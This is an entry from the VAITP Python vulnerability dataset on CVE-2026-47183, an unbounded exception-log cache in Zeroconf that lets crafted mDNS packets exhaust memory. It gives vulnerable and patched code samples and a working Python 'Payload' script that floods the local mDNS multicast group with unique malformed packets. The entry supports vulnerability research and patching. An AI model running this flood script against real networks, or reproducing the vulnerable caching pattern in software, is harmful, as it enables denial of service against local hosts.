CVE-2026-47183
Zeroconf allows local DoS via memory growth from crafted mDNS packets.
- CVSS 6.5
- CWE-400
- Resource Management
- Remote
Zeroconf is a pure Python implementation of multicast DNS service discovery. Prior to 0.149.6, DNSIncoming._log_exception_debug and the four QuietLogger exception-dedup methods stored an unbounded _seen_logs dictionary keyed by attacker-influenced IncomingDecodeError messages, retaining sys.exc_info() tracebacks whose frame locals kept raw packet self.data buffers and allowing unauthenticated hosts on the local link over UDP/5353 (224.0.0.251 / ff02::fb) to drive memory growth until mDNS-dependent features degrade or the process is OOM-killed. This issue is fixed in version 0.149.6.
- CWE
- CWE-400
- CVSS base score
- 6.5
- Published
- 2026-07-17
- OWASP
- A04 Insecure Design
- Orthogonal defect classification
- Checking
- Code defect classification
- Incorrect Algorithm
- Category
- Resource Management
- Subcategory
- Memory Leaks
- Accessibility scope
- Remote
- Impact
- Denial of Service (DoS)
- Affected component
- Zeroconf
- Fixed by upgrading
- Yes
Solution
Upgrade Zeroconf to version 0.149.6 or later.
Vulnerable code sample
import sys
import time
from types import TracebackType
from typing import Any, Dict, Optional, Tuple
# This code represents the vulnerable components in zeroconf < 0.149.6.
# The vulnerability lies in the QuietLogger class from zeroconf/_logging.py
# and how it is used by classes like DNSIncoming from zeroconf/_protocol.py.
DEDUPLICATION_TIMEOUT_S = 300.0
class QuietLogger:
"""
A logger that de-duplicates messages. In the vulnerable version, it stores
tracebacks indefinitely for unique exception messages.
"""
def __init__(self) -> None:
self._seen_logs: Dict[str, Tuple[float, Optional[TracebackType]]] = {}
def log_exception(self, msg: str, *args: Any, **kwargs: Any) -> None:
"""Logs an exception message if it has not been seen before."""
now = time.monotonic()
exc_info = sys.exc_info()
# The check `msg not in self._seen_logs` can be bypassed by an attacker
# who sends packets that generate unique error messages.
if msg not in self._seen_logs or self._seen_logs[msg][0] + DEDUPLICATION_TIMEOUT_S < now:
# VULNERABILITY: A reference to the traceback object `exc_info[2]`
# is stored in the `_seen_logs` dictionary. The dictionary key `msg`
# is derived from attacker-controlled packet data. This allows an
# attacker to grow the dictionary without bounds. The traceback
# holds references to stack frames and all their local variables,
# including the raw packet data, causing a memory leak.
self._seen_logs[msg] = (now, exc_info[2])
# The real library would call an underlying logger here.
# e.g., self._logger.exception(msg, *args, **kwargs)
# A dummy exception to represent a parsing failure.
class IncomingDecodeError(Exception):
pass
class DNSIncoming:
"""
A simplified representation of a class that processes incoming DNS packets.
"""
def __init__(self, data: bytes) -> None:
# The raw packet data from the network.
self.data = data
self._logger = QuietLogger()
def _parse(self) -> None:
"""
Simulates the parsing of a packet which can fail.
"""
try:
# In a real scenario, parsing logic would go here.
# An attacker sends a crafted packet that is guaranteed to fail parsing
# in a way that includes part of the packet data in the error message.
if self.data.startswith(b'invalid_packet'):
raise IncomingDecodeError(f"Packet decoding failed for: {self.data!r}")
except IncomingDecodeError:
# The exception is caught and logged using the vulnerable method.
# The error message from `sys.exc_info()[1]` is unique per packet,
# and the traceback holds a reference to `self.data`.
self._logger.log_exception(str(sys.exc_info()[1]))Patched code sample
import collections
from logging import getLogger
from typing import Any
_MAX_SEEN_LOGS = 128
class QuietLogger:
"""A logger that won't repeat the same message."""
def __init__(self, name: str) -> None:
"""Create a new quiet logger."""
self._log = getLogger(name)
# Using an OrderedDict as an LRU cache to avoid unbounded memory growth
self._seen_logs: "collections.OrderedDict[str, bool]" = collections.OrderedDict()
def _log_exception(self, level: int, msg: str, *args: Any, **kwargs: Any) -> None:
"""Log an exception."""
# exc_info is a tuple of (type, value, traceback)
# The value is the exception object, which is what we want to key on
# to avoid storing the traceback in the key.
exc_info = kwargs.get("exc_info")
exc = exc_info[1] if exc_info and isinstance(exc_info, tuple) else exc_info
key = f'{level}-{msg % args}-{exc}'
if key not in self._seen_logs:
if len(self._seen_logs) >= _MAX_SEEN_LOGS:
self._seen_logs.popitem(last=False)
self._seen_logs[key] = True
self._log.log(level, msg, *args, **kwargs)
def exception(self, msg: str, *args: Any, **kwargs: Any) -> None:
"""Logs a message with level ERROR on this logger, with exception info."""
kwargs['exc_info'] = True
self._log_exception(40, msg, *args, **kwargs)Payload
import socket
import time
import struct
# Target for mDNS (link-local multicast)
MDNS_ADDR = '224.0.0.251'
MDNS_PORT = 5353
PACKET_SIZE = 1024 # Larger packets will consume memory faster
# Set up the UDP socket
# AF_INET for IPv4, SOCK_DGRAM for UDP
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
# Set the Time-To-Live (TTL) for multicast packets to 1
# This ensures the packet only travels on the local network segment
ttl = struct.pack('b', 1)
sock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, ttl)
print(f"Sending malformed mDNS packets to {MDNS_ADDR}:{MDNS_PORT}...")
print("Press Ctrl+C to stop.")
try:
i = 0
while True:
# Construct a unique, malformed payload for each iteration.
# The uniqueness ensures a new entry in the target's _seen_logs dict.
# The payload's content influences the IncomingDecodeError message.
# We embed a counter to guarantee uniqueness.
unique_prefix = str(i).encode().zfill(16)
filler = b'\xde\xad\xbe\xef' * ((PACKET_SIZE - len(unique_prefix)) // 4)
payload = unique_prefix + filler
# Send the malicious packet to the mDNS multicast group
sock.sendto(payload, (MDNS_ADDR, MDNS_PORT))
if i % 100 == 0:
print(f"Sent {i} packets...", end='\r')
i += 1
# A small delay to avoid overwhelming the network or local CPU
time.sleep(0.005)
except KeyboardInterrupt:
print(f"\nStopped. Sent a total of {i} packets.")
finally:
sock.close()
Cite this entry
@misc{vaitp:cve202647183,
title = {{Zeroconf allows local DoS via memory growth from crafted mDNS packets.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-47183},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-47183/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
